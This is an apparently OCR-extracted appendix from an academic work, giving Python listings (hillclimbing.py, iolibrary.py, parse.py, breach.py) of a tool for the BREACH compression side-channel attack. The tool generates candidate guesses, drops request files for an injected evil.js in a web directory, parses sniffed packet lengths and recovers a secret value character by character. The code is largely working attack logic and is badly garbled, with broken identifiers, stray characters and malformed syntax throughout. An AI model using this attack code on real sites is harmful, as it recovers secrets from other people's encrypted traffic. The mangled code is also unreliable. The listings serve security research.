method = args_dict['method']
assert prefix, 'Empty method argument'
search_alphabet = args_dict['alphabet'] if 'alphabet' in args_dict
else create_alphabet (args_dict['alpha_types'])
with open('request.txt', 'w') as f:
f.write(prefix + '\n')
total_tests = []
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if

alphabet = method_functions[method] (search_alphabet, prefix)

for test in alphabet:
huffman_nonce = huffman_point (alphabet, test)
search_string = NONCE_1 + test + NONCE_2
total_tests.append(search_string)

f.write(','.join(total_tests))

f.close()

return reflection_alphabet

__name__ == '__main__"':

args_dict = get_arguments_dict(sys.argv)
create_request_file(args_dict)

Listing 9.6: hillclimbing.py

9.7 User interface library

from os import system
import sys

import signal

import argparse
import logging

def

def
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kill_signal_handler(signal, frame):

Signal handler for killing the execution.

L]

print ('Exiting the program per your command')

system('rm -f out.out request.txt io_library.pyc hillclimbing.pyc
constants.pyc connect.pyc')

system('mv basic_breach.log full_breach.log debug.log attack.log
win_count.log history/"')

sys.exit (0)

get_arguments_dict (args_list):

L]

Parse command line arguments that were given to the program that
calls this method.

parser = argparse.ArgumentParser (description='Parser of breach.py
output ')

parser.add_argument ('caller_name', metavar = 'caller_name', help = '
The program that called the argument parser.')
parser.add_argument('-a', '--alpha_types', metavar = 'alphabet',
nargs = '+', help = 'Choose alphabet types: n => digits, 1 =>
lowercase letters, u => uppercase letters, d => - and _')
parser.add_argument('-1', '--len_pivot', metavar = 'pivot_length',
type = int, help = 'Input the (observed payload) length value of the
pivot packet')

parser.add_argument('-p', '--prefix', metavar = 'bootstrap_prefix',
help = 'Input the already known prefix needed for bootstrap')
parser.add_argument('-m', '--method', metavar = 'request_method',
help = 'Choose the request method: s => serial, p => parallel')
parser.add_argument ('-1f', '--latest_file', metavar = '
latest_file_number', type = int, help = 'Input the latest output file

breach.py has created, -1 if first try')




parser.add_argument('-r', '--request_len',6 metavar = '

minimum_request_length', type = int, help = 'Input the minimum length

of the request packet')

parser.add_argument('-c', '--correct', metavar = 'correct_value',

help = 'Input the correct value we attack')

parser.add_argument('-s', '--sample', metavar = 'sample', type = int,
help = 'Input the sampling ratio')

parser.add_argument('-i', '--iterations', metavar = '

number_of_iterations', type = int, help = 'Input the number of
iterations per symbol.')

parser.add_argument ('-t', '--refresh_time', metavar = 'refresh_time',
type = int, help = 'Input the refresh time in seconds')
parser.add_argument ('--wdir', metavar = 'web_application_directory',

help = 'The directory where you have added evil.js')
parser.add_argument ('--execute_breach', action = 'store_true', help =
'Initiate breach attack via breach.py')

parser.add_argument ('--verbose', metavar = 'verbosity_level', type =

int, help = 'Choose verbosity level: 0O => no logs, 1 => attack logs, 2
=> debug logs, 3 => basic breach logs, 4 => full logs')
parser.add_argument ('--log_to_screen', action = 'store_true', help =
'Print logs to stdout')

args = parser.parse_args(args_list)

args_dict = {}
args_dict['alpha_types'] = args.alpha_types if args.alpha_types else

None

args_dict['prefix'] = args.prefix if args.prefix else None
args_dict['method'] = args.method if args.method else 's'
args_dict['pivot_length'] = args.len_pivot if args.len_pivot else
None

args_dict['minimum_request_length'] = args.request_len if args.
request_len else None

args_dict['correct_val']l = args.correct if args.correct else Nomne
args_dict['sampling ratio'] = args.sample if args.sample else
200000000

args_dict['iterations'] = args.iterations if args.iterations else 500
args_dict['refresh_time'] = args.refresh_time if args.refresh_time
else 60

args_dict['wdir'] = args.wdir if args.wdir else '/var/www/breach/'
args_dict['execute_breach'] = True if args.execute_breach else False
args_dict['log_to_screen'] = True if args.log_to_screen else False
args_dict['verbose'] = args.verbose if args.verbose else 0
args_dict['latest_file'] = args.latest_file if args.latest_file else
0

return args_dict

def setup_logger (logger_name, log_file, args_dict, level=logging.DEBUG):

Logger factory.
1 = logging.getLogger(logger_name)
l.setLevel(level)
formatter = logging.Formatter ('} (asctime)s : %(message)s')
fileHandler = logging.FileHandler (log_file)
fileHandler.setFormatter (formatter)
1.addHandler (fileHandler)
if args_dict['log_to_screen']:
streamHandler = logging.StreamHandler ()
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streamHandler .setFormatter (formatter)
1.addHandler (streamHandler)
return

Listing 9.7: iolibrary.py

9.8 Automated run and data parsing module

from __future__ import division

from os import system, path, getpid

import sys

import signal

import datetime

import logging

import time

import threading

import constants

import connect

from iolibrary import kill_signal_handler, get_arguments_dict,
setup_logger

signal.signal (signal.SIGINT, kill_signal_handler)

class Parser():
[ |
Class that parses the packet lengths that are sniffed through the
network.

def __init__(self, args_dict):

Initialize constants and arguments.
L)

self.args_dict = args_dict
assert args_dict['pivot_length'] or args_dict['
minimum_request_length'], 'Invalid combination of minimum request and

pivot lengths'

self.alpha_types = args_dict['alpha_types']

if 'alphabet' in args_dict:

self.alphabet = args_dict['alphabet']

self .pivot_length = args_dict['pivot_length']

self .prefix = args_dict['prefix']

self.latest_file = args_dict['latest_file']

self .minimum_request_length = args_dict['minimum_request_length']

self .method = args_dict['method']

self.correct_val = args_dict['correct_val']

self.sampling_ratio = args_dict['sampling_ratio']

self .refresh_time = args_dict['refresh_time']

self.start_time = args_dict['start_time']

self .verbose = args_dict['verbose']

self .max_iter = args_dict['iterations']

self .wdir = args_dict['wdir']

self.execute_breach = args_dict['execute_breach']

self.divide_and_conquer = args_dict['divide_and_conquer '] if '
divide_and_conquer' in args_dict else O

self .history_folder = args_dict['history_folder']
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self.latest_file = 0
self .point_system = constants.POINT_SYSTEM_MAPPING[args_dict [’
method ']]
if 'attack_logger' not in args_dict:
if self.verbose < 1:

setup_logger ('attack_logger', 'attack.log',6 args_dict,
logging.ERROR)
else:
setup_logger ('attack_logger', 'attack.log', args_dict)

self .attack_logger = logging.getLogger ('attack_logger')
self.args_dict['attack_logger'] = self.attack_logger
else:
self.attack_logger = args_dict['attack_logger']
if 'debug_logger' not in args_dict:
if self.verbose < 2:

setup_logger ('debug_logger', 'debug.log', args_dict,
logging.ERROR)
else:
setup_logger ('debug_logger', 'debug.log', args_dict)

self.debug_logger = logging.getLogger ('debug_logger')
self.args_dict['debug_logger'] = self.debug_logger
else:
self .debug_logger = args_dict['debug_logger ']
if 'win_logger ' not in args_dict:
if self.verbose < 2:

setup_logger ('win_logger', 'win_count.log', args_dict,
logging.ERROR)
else:
setup_logger ('win_logger', 'win_count.log', args_dict)

self .win_logger = logging.getLogger ('win_logger ')
self.args_dict['win_logger'] = self.win_logger

else:

self .win_logger = args_dict['win_logger']
system('mkdir ' + self.history_folder)
return

def create_dictionary_sample(self, output_dict, iter_dict):

Create a dictionary of the sampled input.
combined = {}
for k, v in iter_dict.items():
if v != 0:
combined [k] = output_dict[k] / iter_dict [k]
return combined

def sort_dictionary_values(self, dictionary, desc = False):

Sort a dictionary by values.

L)

sorted_dict = [ (v,k) for k, v in dictionary.items() ]
sorted_dict.sort(reverse=desc)

return sorted_dict

def sort_dictionary(self, dictionary, desc = False):

Sort a dictionary by keys.
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sorted_dict = [ (v,k) for v, k in dictionary.items() ]
sorted_dict.sort(reverse=desc)
return sorted_dict

def get_alphabet(self, request_args):

Get the alphabet of the search strings.

import hillclimbing
return hillclimbing.create_request_file(request_args)

def continue_parallel_division(self, correct_alphabet):

Continue parallel execution with the correct half of the previous
alphabet.

return self.get_alphabet ({'alphabet': correct_alphabet, 'prefix':
self .prefix, 'method': self.methodl})

def get_aggregated_input (self):

Iterate over input files and get aggregated input.

with open(self.history_folder + self.filename + '/result_' + self
.filename, 'a') as result_file:
result_file.write('Combined output files\n\n')
system('cp out.out ' + self.history_folder + self.filename + '/
out_' + self.filename + '_' + str(self.latest_file))
out_iterator = '0'
total_requests = 0
while int (out_iterator) < 10000000:
try:
output_file = open(self.history_folder + self.filename +
'/out_' + self.filename + '_' + out_iterator, 'r')
with open(self.history_folder + self.filename + '/result_
' + self.filename, 'a') as result_file:
result_file.write('out_' + self.filename + '_' +

out_iterator + '\n')

prev_request = 0
buff = []

grab_next = False
response_length = 0
in_bracket = True
after_start = False

illegal_semaphore = 6 # Discard the first three
iterations so that the system is stabilized the system is stabilized

illegal_iteration = False
for line in output_file.readlines():
if len(buff) == len(self.alphabet):

if illegal_semaphore or illegal_iteration:
if not float(total_requests/len(self.alphabet
)) in self.args_dict['illegal_iterations']:
self.args_dict['illegal_iterations'].
append (float (total_requests/len(self.alphabet)))
illegal_iteration = False
else:




self.aggregated_input = buff
total_requests = total_requests + 1
self.calculate_output ()
buff = []
if line.find(':') < O:
continue
pref, size = line.split(': ')
if self.minimum_request_length:
if not after_start:

if pref == 'User application payload' and int
(size) > 1000:
after_start = True
in_bracket = False
continue
else:
if pref == 'User application payload' and int

(size) > self.minimum_request_length:
if self.iterations[self.alphabet[0]] and
(response_length == 0):
illegal_semaphore = illegal_semaphore
+ 2
if in_bracket:
if illegal_semaphore:
buff.append('%d: 0' %
prev_request)

illegal_semaphore
illegal_semaphore - 1

illegal_iteration = True
else:
buff.append('%d: %d' % (
prev_request, response_length))
prev_request = prev_request + 1
response_length = 0
in_bracket = not in_bracket
if pref == 'Endpoint application payload':
response_length = response_length + int(
size)
else:
if (pref == 'Endpoint application payload'):
if grab_next:
grab_next = False
summary = int(size) + prev_size
buff.append('%d: %d' % (prev_request,
summary) )
prev_request = prev_request + 1
if int(size) > self.pivot_length - 10 and int
(size) < self.pivot_length + 10:

grab_next = True
continue
prev_size = int(size)

output_file.close()
out_iterator = str(int(out_iterator) + 1)
except IOError:
break
return

def calculate_output(self):
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Calculate output from aggregated input.
for line in enumerate(self.aggregated_input):
it, size = line[1].split(': ")
if int(size) > O:
self.output_sum([self.alphabet[line [0]]]
[self.alphabet[line[0]]] + int(size)
self.iterations[self.alphabet[line[0]]]
[self.alphabet[line[0]]] + 1

self.output_sum

self.iterations

sample = self.create_dictionary_sample(self.output_sum, self.
iterations)

sorted_sample = self.sort_dictionary_values(sample)

self .samples[self.iterations[self.alphabet[0]]] = sorted_sample

return

def log_with_correct_value(self):

Write parsed output to result file when knowing the correct value

L |
points = {}
for i in self.alphabet:
points[i] = 0
with open(self.history_folder + self.filename + '/result_' + self
.filename, 'a') as result_file:
result_file.write('\n"')
result_file.write('Correct value = %s\n\n\n' % self.
correct_val)
result_file.write('Iteration - Length Chart - Divergence from
top - Points Chart - Points\n\n')
found_in_iter = False
correct_leader = False
for sample in self.samples:
pos =1
for j in sample[1]:
if correct_leader:
divergence = j[0] - correct_len
correct_leader = False
alphabet = j[1].split(self.prefix)
alphabet.pop (0)
for i in enumerate(alphabet):
alphabet [i[0]] = i[1].split () [0]
found_correct = (j[1] == self.correct_val) if self.method
== 's' else (self.correct_val in alphabet)
if found_correct:

correct_pos = pos
correct_len = j[0]
if pos == 1:
correct_leader = True
else:
divergence = leader_len - j[0]
found_in_iter = True
else:
if pos == 1:

leader_len = j[O0]
if pos in self.point_system:




if self.iterations[self.alphabet[0]] > self.max_iter
/2:

points[j[1]] points[j[1]1] + 2 * self.
point_system[pos]
else:

points [j[1]]

points[j[1]] + self.point_system[
pos]
pos = pos + 1
if sample[0] % self.sampling_ratio == 0 or sample[0] > len(
self.samples) - 10:
if not found_in_iter:
with open(self.history_folder + self.filename + '/
result_' + self.filename, 'a') as result_file:
result_file.write ('%d\t%d\t%d\t%d\t%d\n"' % (O, O,

0, 0, 0))
else:
points_chart = self.sort_dictionary_values(points,
True)
for position in enumerate(points_chart):
if position[1][1] == self.correct_val:
correct_position_chart = position[0] + 1
if position[0] ==
diff = position[1][0] - points_chart
(1] [o0]
else:
diff = position[1][0] - points_chart
o] o]

with open(self.history_folder + self.filename + '/
result_' + self.filename, 'a') as result_file:
result_file.write ('%d\t\t%d\t\thf\t\t%d\t%d\n"' %
(sample[O], correct_pos, divergence, correct_position_chart, diff))
with open(self.history_folder + self.filename + '/result_' + self
.filename, 'a') as result_file:
result_file.write('\n")
return points

def log_without_correct_value(self, combined_sorted):
Write parsed output to result file without knowing the correct
value.
points = {}
for i in self.alphabet:
points[i] = O
for sample in self.samples:
for j in enumerate(sample[1]):
if j[0] in self.point_system and sample[1][0]:
if sample[0] > self.max_iter/2:
points[j[1]1[1]] = points[j[1]1[1]] + (2 * self.
point_system[j[0]])
else:
points[j[1]1[1]] = points[j[1]1[1]] + self.
point_system[j[0]]
with open(self.history_folder + self.filename + '/result_' + self
.filename, 'a') as result_file:
result_file.write('\n")
result_file.write('Iteration %d\n\n' % self.iterations[self.
alphabet [0]])
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if self.method == 's' and combined_sorted:
with open(self.history_folder + self.filename + '/result_' +
self.filename, 'a') as result_file:
result_file.write('Correct Value is \'%s\' with
divergence %f from second best.\n' ) (combined_sorted[0][1],
combined_sorted[1][0] - combined_sorted[0][0]))
return points

def log_result_serial(self, combined_sorted, points):
L)

Log points info to result file for serial method of execution.
L)
for symbol in enumerate(combined_sorted):
if symbol[0] % 6 ==
with open(self.history_folder + self.filename + '/result_
' + gself.filename, 'a') as result_file:
result_file.write('\n"')
with open(self.history_folder + self.filename + '/result_' +
self.filename, 'a') as result_file:
result_file.write('%s %f\t' % (symbol[1][1], symbol

[(11001))
with open(self.history_folder + self.filename + '/result_' + self
.filename, 'a') as result_file:
result_file.write('\n")
points_chart = self.sort_dictionary_values(points, True)

for symbol in enumerate(points_chart):
if symbol[0] % 10 ==
with open(self.history_folder + self.filename + '/result_
' + self.filename, 'a') as result_file:
result_file.write('\n')
with open(self.history_folder + self.filename + '/result_' +
self.filename, 'a') as result_file:
result_file.write('%s %d\t' % (symbol[1][1], symbol

[(11001))
with open(self.history_folder + self.filename + '/result_' + self
.filename, 'a') as result_file:

result_file.write('\n\n"')
return points_chart [0] [1]

def log_result_parallel(self, combined_sorted, points):

Log points info to result file for parallel method of execution.

correct_alphabet = None
for symbol in enumerate(combined_sorted):
if symbol[0] == 0: # TODO: Better calculation of correct
alphabet

correct_alphabet = symbol[1][1].split(self.prefix)

correct_alphabet.pop(0)

for i in enumerate (correct_alphabet):

correct_alphabet [1[0]] = i[1].split () [0]
with open(self.history_folder + self.filename + '/result_' +

self.filename, 'a') as result_file:

result_file.write(')s \nLength: %f\nPoints: %d\n\n' % (
symbol [1] [1], symbol[1][0], points[symbol[1][1]]))

return correct_alphabet

def attack_forward(self, correct_alphabet, points):




Continue the attack properly, after checkpoint was reached.

sorted_wins = self.sort_dictionary_values(self.args_dict['
win_count '], True)
if len(correct_alphabet) == 1:

if sorted_wins [0][0] > 10:

self .win_logger.debug('Total attempts: %d\n¥%s' % (self.
try_counter + 1, str(sorted_wins)))

self .win_logger.debug('Aggregated points\n¥%s\n' % str(
self.args_dict['point_count']))

self.args_dict['win_count'] = {}

self.args_dict['point_count'] = {}

correct_item = points[0][1].split () [0].split(self.prefix)
[1]

self.args_dict['prefix'] = self.prefix + correct_item

self.args_dict['divide_and_conquer'] = 0

self.args_dict['alphabet']= self.get_alphabet ({'
alpha_types': self.alpha_types, 'prefix': self.prefix, 'method': self.
methodl})

self.attack_logger.debug('SUCCESS: %s' J correct_item)

self.attack_logger.debug('Total time till now: %s' % str(
datetime.datetime.now() - self.start_time))

self.attack_logger.debug('---------- Continuing

self.attack_logger.debug('Alphabet: %s' ¥ str(self.
alphabet))
else:
self.args_dict['win_count '] [points[0][1]] = self.
args_dict['win_count '] [points [0][1]] + 1

self.args_dict['point_count '] [points[0][1]] = self.
args_dict['point_count '] [points[0] [1]] + points[0][0]
self.args_dict['point_count '] [points[1][1]] = self.

args_dict['point_count '] [points[1][1]] + points[1][0]
sorted_wins = self.sort_dictionary_values(self.args_dict
['win_count '], True)
self .win_logger.debug('Total attempts: %d\n¥%s' % (self.
try_counter + 1, str(sorted_wins)))
self .win_logger .debug('Aggregated points\nis\n' % str(
self.args_dict['point_count']))
self.attack_logger.debug('Correct Alphabet: %d Incorrect
Alphabet: %d' % (points[0][0], points[1][0]))
self.attack_logger.debug('Alphabet: %s' 7 str(self.
alphabet))
else:
self.attack_logger.debug('Correct Alphabet: %s' % points
o111
self.attack_logger.debug('Correct Alphabet: %d Incorrect
Alphabet: %d' % (points[0][0], points[1][0]))
if sorted_wins [0][0] > 10:
self .win_logger.debug('Total attempts: %d\n¥%s' % (self.
try_counter + 1, str(sorted_wins)))
self.win_logger.debug('Aggregated points\n¥%s\n' % str(
self.args_dict['point_count']))

self.args_dict['win_count'] = {}
self.args_dict['point_count'] = {}
self.args_dict['divide_and_conquer'] = self.

divide_and_conquer + 1
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correct_alphabet = points[0][1].split()
for i in enumerate(correct_alphabet):
correct_alphabet [i[0]] = i[1].split(self.prefix) [1]

self.args_dict['alphabet'] = self.
continue_parallel_division(correct_alphabet)

self.attack_logger.debug('SUCCESS: %s' % points[0][1])

else:

self.args_dict['win_count '] [points[0][1]] = self.

args_dict['win_count '] [points [0][1]] + 1

self.args_dict['point_count '] [points[0][1]] = self.
args_dict['point_count '] [points[0] [1]] + points[0] [0]
self.args_dict['point_count '] [points[1][1]] = self.

args_dict['point_count '] [points[1][1]] + points[1][0]
sorted_wins = self.sort_dictionary_values(self.args_dict
['win_count '], True)
self .win_logger.debug('Total attempts: %d\n%s' % (self.
try_counter + 1, str(sorted_wins)))
self .win_logger .debug('Aggregated points\n%s\n' % str(
self.args_dict['point_count']))
self.args_dict['latest_file']l = 0
return True

def prepare_parsing(self):

Prepare environment for parsing.
LI |
system('sudo rm ' + self.wdir + 'request.txt')
time.sleep(5)
system('rm -f out.out')
if not self.divide_and_conquer:
self.alphabet = self.get_alphabet({'alpha_types': self.
alpha_types, 'prefix': self.prefix, 'method': self.methodl})
self.args_dict['alphabet'] = self.alphabet
if not self.args_dict['win_count']:
for item in self.alphabet:
self.args_dict['win_count'][item] = O
if not self.args_dict['point_count']:
for item in self.alphabet:
self.args_dict['point_count '] [item]
system('cp request.txt ' + self.wdir)

]
o

if self.execute_breach:
if 'connector' not in self.args_dict or not self.args_dict['

connector '].isAlive():

self .debug_logger.debug('Is connector in args_dict? %s' %
str('connector' in self.args_dict))

if 'connector' in self.args_dict:

self .debug_logger.debug('Is connector alive? Ys' %

str(self.args_dict['connector'].isAlive()))

self.connector = ConnectorThread(self.args_dict)
self.connector.start ()
self.args_dict['connector'] = self.connector
else:
self.connector = self.args_dict['connector']
self.try_counter = 0
for _, value in self.args_dict['win_count'].items():
self.try_counter = self.try_counter + value




self.filename = 'try' + str(self.try_counter) + '_' + '_'.join(
self.alpha_types) + '_' + self.prefix + '_' + str(self.
divide_and_conquer)
system('mkdir ' + self.history_folder + self.filename)
system('cp request.txt ' + self.history_folder + self.filename +
'/request_"'
if self.method == 'p' and self.correct_val:
if self.correct_val in self.alphabet[0]:
self.correct_val = self.alphabet[0]
elif self.correct_val in self.alphabet[1]:
self.correct_val = self.alphabet[1]

+ self.filename)
1

else:
self.correct_val = None
self.checkpoint = self.max_iter
self.continue_next_hop = False
while path.isfile(self.history_folder + self.filename + '/out_' +
self.filename + '_' + str(self.latest_file)):

self.latest_file = self.latest_file + 1
return

def parse_input(self):

Execute loop to parse output in real time.
L)
self .prepare_parsing ()
self.debug_logger.debug('Starting loop with args_dict: %s' % str(
self.args_dict))
while self.connector.isAlive() if self.execute_breach else True:
self.samples = {}
self.iterations = {}
self.output_sum = {}
for i in self.alphabet:
self.iterations[i] 0
self .output_sum([i] = O
system('rm ' + self.history_folder + self.filename + '/
result_' + self.filename)

self.get_aggregated_input ()

combined = self.create_dictionary_sample(self.output_sum,
self.iterations)
combined_sorted = self.sort_dictionary_values(combined)

self .samples[self.iterations[self.alphabet[0]]] =
combined_sorted
self .samples = self.sort_dictionary(self.samples)
with open('sample.log', 'w') as f:
for s in self.samples:
f.write(str(s) + '\n')

system('mv sample.log ' + self.history_folder + self.filename
VAD
points = self.log_with_correct_value() if self.correct_val
else self.log_without_correct_value(combined_sorted)
if self.method == 's':
correct_alphabet = self.log_result_serial (combined_sorted

, points)
elif self.method == 'p':
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correct_alphabet = self.log_result_parallel(
combined_sorted, points)

system('cat ' + self.history_folder + self.filename + '/
result_' + self.filename)
points = self.sort_dictionary_values(points, True)
if (self.method == 'p' and points[0][0] > self.checkpoint/2)
or (self.method == 's' and points[0][0] > self.checkpoint*10):
self.continue_next_hop = self.attack_forward(
correct_alphabet, points)
break

time.sleep(self.refresh_time)
if self.execute_breach:
if not self.continue_next_hop:
self.connector. join()
self.args_dict['latest_file'] = self.latest_file + 1
return self.args_dict

class ConnectorThread (threading.Thread) :

Thread to run breach.py on the background.

def __init__(self, args_dict):

super (ConnectorThread, self).__init__Q)
self.args_dict = args_dict
self.daemon = True

self .debug_logger = args_dict['debug_logger']
self .debug_logger.debug('Initialized breach thread')

def run(self):
self.connector = connect.Connector(self.args_dict)
self.debug_logger.debug('Created connector object')
self.connector.execute_breach ()
self .debug_logger.debug('Connector has stopped running')

return
if __name__ == '__main__':
args_dict = get_arguments_dict(sys.argv)
args_dict['start_time'] = datetime.datetime.now()
args_dict['history_folder'] = 'history/'
while 1:
parser = Parser(args_dict)
args_dict = parser.parse_input ()

Listing 9.8: parse.py

9.9 Attack module

from os import system

import sys

import signal

import datetime

import logging

import parse

from iolibrary import kill_signal_handler, get_arguments_dict,
setup_logger
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signal.signal (signal.SIGINT, kill_signal_handler)

class Breach():
[ |

Start and execute breach attack.
L]
def __init__(self, args_dict):
self.args_dict = args_dict
if 'debug_logger' not in args_dict:
if args_dict['verbose'] < 2:

setup_logger ('debug_logger', 'debug.log', args_dict,
logging.ERROR)
else:
setup_logger ('debug_logger', 'debug.log', args_dict)

self .debug_logger = logging.getLogger ('debug_logger ')
self.args_dict['debug_logger'] = self.debug_logger
else:
self.debug_logger = args_dict['debug_logger ']
return

def execute_parser (self):
self .parser = parse.Parser(self.args_dict)
args_dict = self.parser.parse_input ()
return args_dict

if __name__ == '__main
args_dict = get_arguments_dict(sys.argv)
args_dict['start_time'] = datetime.datetime.now()
args_dict['win_count'] = {}
args_dict['point_count'] = {}
args_dict['history_folder'] = 'history/'
try:
while 1:
args_dict['illegal_iterations'] = []
breach = Breach(args_dict)
args_dict = breach.execute_parser ()
breach.debug_logger.debug('Found the following illegal
iterations: ' + str(args_dict['illegal_iterations']) + '\n')
except Exception as e:
print e

Listing 9.9: breach.py
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